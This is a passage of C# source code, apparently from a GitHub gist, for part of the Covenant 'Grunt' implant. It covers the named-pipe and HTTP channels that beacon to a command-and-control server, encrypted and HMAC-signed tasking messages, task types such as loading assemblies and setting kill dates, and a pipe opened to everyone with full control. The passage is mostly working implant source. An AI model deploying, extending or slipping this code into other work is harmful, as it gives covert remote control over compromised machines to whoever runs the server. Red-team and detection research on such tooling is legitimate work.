this.IsServer = true;
if (Pipe != null && Pipe.IsConnected)
{
this.IsConnected = Pipe.IsConnected;
this.MonitorPipeState();
}
this.InitializePipe();
}
public ProfileMessage Read()
{
ProfileMessage result = null;
try
{
// If the Grunt acts as SMB server, then after an interruption it shall wait in the read method until the connection
// is re-established.
// This ensures that after the interruption, both communication peers return to their pre-defined state. If this is not
// implemented, then both communication peers might return to the same state (e.g., read), which leads to a deadlock.
if (this.IsServer)
{
this.InitializePipe();
}
if (this.IsConnected)
{
result = new ProfileMessage { Type = MessageType.Read, Message = Common.GruntEncoding.GetString(this.ReadBytes()) };
}
}
// These are exceptions that could be raised, if the named pipe became (unexpectedly) closed. It is important to catch these
// exceptions here so that the calling method can continue until it calls Read or Write the next time and then, the they'll
// try to restablish the named pipe
catch (IOException) { }
catch (NullReferenceException) { }
catch (ObjectDisposedException) { }
return result;
}
public void Write(string Message)
{
try
{
// If the Grunt acts as SMB client, then after an interruption it shall wait in the write method until the connection
// is re-established.
// This ensures that after the interruption, both communication peers return to their pre-defined state. If this is not
// implemented, then both communication peers might return to the same state (e.g., read), which leads to a deadlock.
if (!this.IsServer)
{
this.InitializePipe();
}
if (this.IsConnected)
{
this.WriteBytes(Common.GruntEncoding.GetBytes(Message));
}
}
// These are exceptions that could be raised, if the named pipe became (unexpectedly) closed. It is important to catch these
// exceptions here so that the calling method can continue until it calls Read or Write the next time and then, the they'll
// try to restablish the named pipe
catch (IOException) { }
catch (NullReferenceException) { }
catch (ObjectDisposedException) { }
}
public void Close()
{
// Close named pipe and terminate MonitoringThread by setting IsConnected to false
lock (this._PipeLock)
{
try
{
if (this._Pipe != null)
{
this._Pipe.Close();
}
}
catch (Exception) { }
this._Pipe = null;
this.IsConnected = false;
}
}
private void InitializePipe()
{
if (!this.IsConnected)
{
// If named pipe became disconnected (!this.IsConnected), then wait for a new incoming connection, else continue.
if (this.IsServer)
{
PipeSecurity ps = new PipeSecurity();
ps.AddAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), PipeAccessRights.FullControl, AccessControlType.Allow));
NamedPipeServerStream newServerPipe = new NamedPipeServerStream(this.PipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 1024, 1024, ps);
newServerPipe.WaitForConnection();
this.Pipe = newServerPipe;
this.IsConnected = true;
this.MonitorPipeState();
// Tell the parent Grunt the GUID so that it knows to which child grunt which messages shall be forwarded. Without this message, any further communication breaks.
this.UpstreamEventHandler?.Invoke(this, new MessageEventArgs { Message = string.Empty });
}
// If named pipe became disconnected (!this.IsConnected), then try to re-connect to the SMB server, else continue.
else
{
NamedPipeClientStream ClientPipe = new NamedPipeClientStream(Hostname, PipeName, PipeDirection.InOut, PipeOptions.Asynchronous);
ClientPipe.Connect(Timeout);
ClientPipe.ReadMode = PipeTransmissionMode.Byte;
this.Pipe = ClientPipe;
this.IsConnected = true;
// Start the pipe status monitoring thread
this.MonitorPipeState();
}
}
}
private void MonitorPipeState()
{
this.MonitoringThread = new Thread(() =>
{
while (this.IsConnected)
{
try
{
Thread.Sleep(1000);
// We cannot use this.Pipe.IsConnected because this will result in a deadlock
this.IsConnected = this._Pipe.IsConnected;
if (!this.IsConnected)
{
this._Pipe.Close();
this._Pipe = null;
}
}
catch (Exception) { }
}
});
this.MonitoringThread.IsBackground = true;
this.MonitoringThread.Start();
}
private void WriteBytes(byte[] bytes)
{
byte[] compressed = Utilities.Compress(bytes);
byte[] size = new byte[4];
size[0] = (byte)(compressed.Length >> 24);
size[1] = (byte)(compressed.Length >> 16);
size[2] = (byte)(compressed.Length >> 8);
size[3] = (byte)compressed.Length;
this.Pipe.Write(size, 0, size.Length);
var writtenBytes = 0;
while (writtenBytes < compressed.Length)
{
int bytesToWrite = Math.Min(compressed.Length - writtenBytes, 1024);
this.Pipe.Write(compressed, writtenBytes, bytesToWrite);
writtenBytes += bytesToWrite;
}
}
private byte[] ReadBytes()
{
byte[] size = new byte[4];
int totalReadBytes = 0;
do
{
totalReadBytes += this.Pipe.Read(size, 0, size.Length);
} while (totalReadBytes < size.Length);
int len = (size[0] << 24) + (size[1] << 16) + (size[2] << 8) + size[3];
byte[] buffer = new byte[1024];
using (var ms = new MemoryStream())
{
totalReadBytes = 0;
int readBytes = 0;
do
{
readBytes = this.Pipe.Read(buffer, 0, buffer.Length);
ms.Write(buffer, 0, readBytes);
totalReadBytes += readBytes;
} while (totalReadBytes < len);
return Utilities.Decompress(ms.ToArray());
}
}
}
public class HttpMessenger : IMessenger
{
public string Hostname { get; } = "";
public string Identifier { get; set; } = "";
public string Authenticator { get; set; } = "";
public EventHandler<MessageEventArgs> UpstreamEventHandler { get; set; }
private string CovenantURI { get; }
private CookieWebClient CovenantClient { get; set; } = new CookieWebClient();
private object _WebClientLock = new object();
private Random Random { get; set; } = new Random();
private List<string> ProfileHttpHeaderNames { get; }
private List<string> ProfileHttpHeaderValues { get; }
private List<string> ProfileHttpUrls { get; }
private bool UseCertPinning { get; set; }
private bool ValidateCert { get; set; }
private Queue<ProfileMessage> ToReadQueue { get; } = new Queue<ProfileMessage>();
public HttpMessenger(string CovenantURI, string CovenantCertHash, bool UseCertPinning, bool ValidateCert, List<string> ProfileHttpHeaderNames, List<string> ProfileHttpHeaderValues, List<string> ProfileHttpUrls)
{
this.CovenantURI = CovenantURI;
this.Hostname = CovenantURI.Split(':')[1].Split('/')[2];
this.ProfileHttpHeaderNames = ProfileHttpHeaderNames;
this.ProfileHttpHeaderValues = ProfileHttpHeaderValues;
this.ProfileHttpUrls = ProfileHttpUrls;
this.CovenantClient.UseDefaultCredentials = true;
this.CovenantClient.Proxy = WebRequest.DefaultWebProxy;
this.CovenantClient.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
this.UseCertPinning = UseCertPinning;
this.ValidateCert = ValidateCert;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) =>
{
bool valid = true;
if (this.UseCertPinning && CovenantCertHash != "")
{
valid = cert.GetCertHashString() == CovenantCertHash;
}
if (valid && this.ValidateCert)
{
valid = errors == System.Net.Security.SslPolicyErrors.None;
}
return valid;
};
}
public ProfileMessage Read()
{
if (this.ToReadQueue.Any())
{
return this.ToReadQueue.Dequeue();
}
lock (this._WebClientLock)
{
this.SetupCookieWebClient();
return new ProfileMessage { Type = MessageType.Read, Message = this.CovenantClient.DownloadString(this.CovenantURI + this.GetURL()) };
}
}
public void Write(string Message)
{
lock (this._WebClientLock)
{
this.SetupCookieWebClient();
ProfileMessage ToReadMessage = new ProfileMessage { Type = MessageType.Write, Message = this.CovenantClient.UploadString(this.CovenantURI + this.GetURL(), Message) };
if (ToReadMessage.Message != "")
{
this.ToReadQueue.Enqueue(ToReadMessage);
}
}
}
public void Close() { }
private string GetURL()
{
return this.ProfileHttpUrls[this.Random.Next(this.ProfileHttpUrls.Count)].Replace("{GUID}", this.Identifier);
}
private void SetupCookieWebClient()
{
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
{
if (ProfileHttpHeaderNames[i] == "Cookie")
{
this.CovenantClient.SetCookies(new Uri(this.CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", this.Identifier));
}
else
{
this.CovenantClient.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", this.Identifier), ProfileHttpHeaderValues[i].Replace("{GUID}", this.Identifier));
}
}
}
}
public class MessageCrafter
{
private string GUID { get; }
private Aes SessionKey { get; }
public MessageCrafter(string GUID, Aes SessionKey)
{
this.GUID = GUID;
this.SessionKey = SessionKey;
}
public GruntEncryptedMessage Create(string Message, string Meta = "")
{
return this.Create(Common.GruntEncoding.GetBytes(Message), Meta);
}
public GruntEncryptedMessage Create(byte[] Message, string Meta = "")
{
byte[] encryptedMessagePacket = Utilities.AesEncrypt(Message, this.SessionKey.Key);
byte[] encryptionIV = new byte[Common.AesIVLength];
Buffer.BlockCopy(encryptedMessagePacket, 0, encryptionIV, 0, Common.AesIVLength);
byte[] encryptedMessage = new byte[encryptedMessagePacket.Length - Common.AesIVLength];
Buffer.BlockCopy(encryptedMessagePacket, Common.AesIVLength, encryptedMessage, 0, encryptedMessagePacket.Length - Common.AesIVLength);
byte[] hmac = Utilities.ComputeHMAC(encryptedMessage, SessionKey.Key);
return new GruntEncryptedMessage
{
GUID = this.GUID,
Meta = Meta,
EncryptedMessage = Convert.ToBase64String(encryptedMessage),
IV = Convert.ToBase64String(encryptionIV),
HMAC = Convert.ToBase64String(hmac)
};
}
public string Retrieve(GruntEncryptedMessage message)
{
if (message == null || !message.VerifyHMAC(this.SessionKey.Key))
{
return null;
}
return Common.GruntEncoding.GetString(Utilities.AesDecrypt(message, SessionKey.Key));
}
}
public class CookieWebClient : WebClient
{
private CookieContainer CookieContainer { get; }
public CookieWebClient()
{
this.CookieContainer = new CookieContainer();
}
public void SetCookies(Uri uri, string cookies)
{
this.CookieContainer.SetCookies(uri, cookies);
}
protected override WebRequest GetWebRequest(Uri address)
{
var request = base.GetWebRequest(address) as HttpWebRequest;
if (request == null) return base.GetWebRequest(address);
request.CookieContainer = CookieContainer;
return request;
}
}
public enum GruntTaskingType
{
Assembly,
SetDelay,
SetJitter,
SetConnectAttempts,
SetKillDate,
Exit,
Connect,
Disconnect,
Tasks,
TaskKill
}
public class GruntTaskingMessage
{
public GruntTaskingType Type { get; set; }
public string Name { get; set; }
public string Message { get; set; }
public bool Token { get; set; }
private static string GruntTaskingMessageFormat = @"{{""type"":""{0}"",""name"":""{1}"",""message"":""{2}"",""token"":{3}}}";
public static GruntTaskingMessage FromJson(string message)
{
List<string> parseList = Utilities.Parse(message, GruntTaskingMessageFormat);
if (parseList.Count < 3) { return null; }
return new GruntTaskingMessage
{
Type = (GruntTaskingType)Enum.Parse(typeof(GruntTaskingType), parseList[0], true),
Name = parseList[1],
Message = parseList[2],
Token = Convert.ToBoolean(parseList[3])
};
}
public static string ToJson(GruntTaskingMessage message)
{
return String.Format(
GruntTaskingMessageFormat,
message.Type.ToString("D"),
Utilities.JavaScriptStringEncode(message.Name),
Utilities.JavaScriptStringEncode(message.Message),
message.Token
);
}
}
public enum GruntTaskingStatus
{
Uninitialized,
Tasked,
Progressed,
Completed,
Aborted
}
public class GruntTaskingMessageResponse
{
public GruntTaskingMessageResponse(GruntTaskingStatus status, string output)
{
Status = status;
Output = output;
}
public GruntTaskingStatus Status { get; set; }
public string Output { get; set; }
private static string GruntTaskingMessageResponseFormat = @"{{""status"":""{0}"",""output"":""{1}""}}";
public string ToJson()
{
return String.Format(
GruntTaskingMessageResponseFormat,
this.Status.ToString("D"),
Utilities.JavaScriptStringEncode(this.Output)
);
}
}
public class GruntEncryptedMessage
{
public enum GruntEncryptedMessageType
{
Routing,
Tasking
}
public string GUID { get; set; } = "";
public GruntEncryptedMessageType Type { get; set; }
public string Meta { get; set; } = "";
public string IV { get; set; } = "";
public string EncryptedMessage { get; set; } = "";
public string HMAC { get; set; } = "";
public bool VerifyHMAC(byte[] Key)
{
if (EncryptedMessage == "" || HMAC == "" || Key.Length == 0) { return false; }
try
{
var hashedBytes = Convert.FromBase64String(this.EncryptedMessage);
return Utilities.VerifyHMAC(hashedBytes, Convert.FromBase64String(this.HMAC), Key);
}
catch
{
return false;
}
}
private static string GruntEncryptedMessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";
public static GruntEncryptedMessage FromJson(string message)
{
List<string> parseList = Utilities.Parse(message, GruntEncryptedMessageFormat);
if (parseList.Count < 5) { return null; }
return new GruntEncryptedMessage
{
GUID = parseList[0],
Type = (GruntEncryptedMessageType)int.Parse(parseList[1]),
Meta = parseList[2],
IV = parseList[3],
EncryptedMessage = parseList[4],
HMAC = parseList[5]
};
}
public static string ToJson(GruntEncryptedMessage message)
{
return String.Format(
GruntEncryptedMessageFormat,
Utilities.JavaScriptStringEncode(message.GUID),
message.Type.ToString("D"),
Utilities.JavaScriptStringEncode(message.Meta),
Utilities.JavaScriptStringEncode(message.IV),
Utilities.JavaScriptStringEncode(message.EncryptedMessage),
Utilities.JavaScriptStringEncode(message.HMAC)
);
}
}
public static class Common
{
public static int AesIVLength = 16;
public static CipherMode AesCipherMode = CipherMode.CBC;
public static PaddingMode AesPaddingMode = PaddingMode.PKCS7;
public static Encoding GruntEncoding = Encoding.UTF8;
}
public static class Utilities
{
// Returns IV (16 bytes) + EncryptedData byte array
public static byte[] AesEncrypt(byte[] data, byte[] key)
{
Aes SessionKey = Aes.Create();
SessionKey.Mode = Common.AesCipherMode;
SessionKey.Padding = Common.AesPaddingMode;
SessionKey.GenerateIV();
SessionKey.Key = key;
byte[] encrypted = SessionKey.CreateEncryptor().TransformFinalBlock(data, 0, data.Length);
byte[] result = new byte[SessionKey.IV.Length + encrypted.Length];
Buffer.BlockCopy(SessionKey.IV, 0, result, 0, SessionKey.IV.Length);
Buffer.BlockCopy(encrypted, 0, result, SessionKey.IV.Length, encrypted.Length);
return result;
}
// Data should be of format: IV (16 bytes) + EncryptedBytes
public static byte[] AesDecrypt(byte[] data, byte[] key)
{
Aes SessionKey = Aes.Create();
byte[] iv = new byte[Common.AesIVLength];
Buffer.BlockCopy(data, 0, iv, 0, Common.AesIVLength);
SessionKey.IV = iv;
SessionKey.Key = key;
byte[] encryptedData = new byte[data.Length - Common.AesIVLength];
Buffer.BlockCopy(data, Common.AesIVLength, encryptedData, 0, data.Length - Common.AesIVLength);
byte[] decrypted = SessionKey.CreateDecryptor().TransformFinalBlock(encryptedData, 0, encryptedData.Length);
return decrypted;
}
// Convenience method for decrypting an EncryptedMessagePacket
public static byte[] AesDecrypt(GruntEncryptedMessage encryptedMessage, byte[] key)
{
byte[] iv = Convert.FromBase64String(encryptedMessage.IV);
byte[] encrypted = Convert.FromBase64String(encryptedMessage.EncryptedMessage);
byte[] combined = new byte[iv.Length + encrypted.Length];
Buffer.BlockCopy(iv, 0, combined, 0, iv.Length);
Buffer.BlockCopy(encrypted, 0, combined, iv.Length, encrypted.Length);
return AesDecrypt(combined, key);
}
public static byte[] ComputeHMAC(byte[] data, byte[] key)
{
HMACSHA256 SessionHmac = new HMACSHA256(key);
return SessionHmac.ComputeHash(data);
}
public static bool VerifyHMAC(byte[] hashedBytes, byte[] hash, byte[] key)
{
HMACSHA256 hmac = new HMACSHA256(key);
byte[] calculatedHash = hmac.ComputeHash(hashedBytes);
// Should do double hmac?
return Convert.ToBase64String(calculatedHash) == Convert.ToBase64String(hash);
}
public static byte[] Compress(byte[] bytes)
{
byte[] compressedBytes;
using (MemoryStream memoryStream = new MemoryStream())
{
using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Compress))
{
deflateStream.Write(bytes, 0, bytes.Length);
}
compressedBytes = memoryStream.ToArray();
}
return compressedBytes;
}
public static byte[] Decompress(byte[] compressed)
{
using (MemoryStream inputStream = new MemoryStream(compressed.Length))
{
inputStream.Write(compressed, 0, compressed.Length);
inputStream.Seek(0, SeekOrigin.Begin);
using (MemoryStream outputStream = new MemoryStream())
{
using (DeflateStream deflateStream = new DeflateStream(inputStream, CompressionMode.Decompress))
{
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = deflateStream.Read(buffer, 0, buffer.Length)) != 0)
{
outputStream.Write(buffer, 0, bytesRead);
}
}
return outputStream.ToArray();
}
}
}
public static List<string> Parse(string data, string format)
{
format = Regex.Escape(format).Replace("\\{", "{").Replace("{{", "{").Replace("}}", "}");
if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); }
if (format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); }
if (format.Contains("{4}")) { format = format.Replace("{4}", "(?'group4'.*)"); }
if (format.Contains("{5}")) { format = format.Replace("{5}", "(?'group5'.*)"); }
Match match = new Regex(format).Match(data);
List<string> matches = new List<string>();
if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); }
if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); }
if (match.Groups["group4"] != null) { matches.Add(match.Groups["group4"].Value); }
if (match.Groups["group5"] != null) { matches.Add(match.Groups["group5"].Value); }
return matches;
}
// Adapted from https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web/HttpUtility.cs
public static string JavaScriptStringEncode(string value)
{
if (String.IsNullOrEmpty(value)) { return String.Empty; }
int len = value.Length;
bool needEncode = false;
char c;
for (int i = 0; i < len; i++)
{
c = value[i];
if (c >= 0 && c <= 31 || c == 34 || c == 39 || c == 60 || c == 62 || c == 92)
{
needEncode = true;
break;
}
}
if (!needEncode) { return value; }
var sb = new StringBuilder();
for (int i = 0; i < len; i++)
{
c = value[i];
if (c >= 0 && c <= 7 || c == 11 || c >= 14 && c <= 31 || c == 39 || c == 60 || c == 62)
{
sb.AppendFormat("\\u{0:x4}", (int)c);
}
else
{
switch ((int)c)
{
case 8:
sb.Append("\\b");
break;
case 9:
sb.Append("\\t");
break;
case 10:
sb.Append("\\n");
break;
case 12:
sb.Append("\\f");
break;
case 13:
sb.Append("\\r");
break;
case 34:
sb.Append("\\\"");
break;
case 92:
sb.Append("\\\\");
break;
default:
sb.Append(c);
break;
}
}
}
return sb.ToString();
}
public static class MessageTransform
{
public static string Transform(byte[] bytes)
{
return System.Convert.ToBase64String(bytes);
}
public static byte[] Invert(string str)
{
return System.Convert.FromBase64String(str);
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment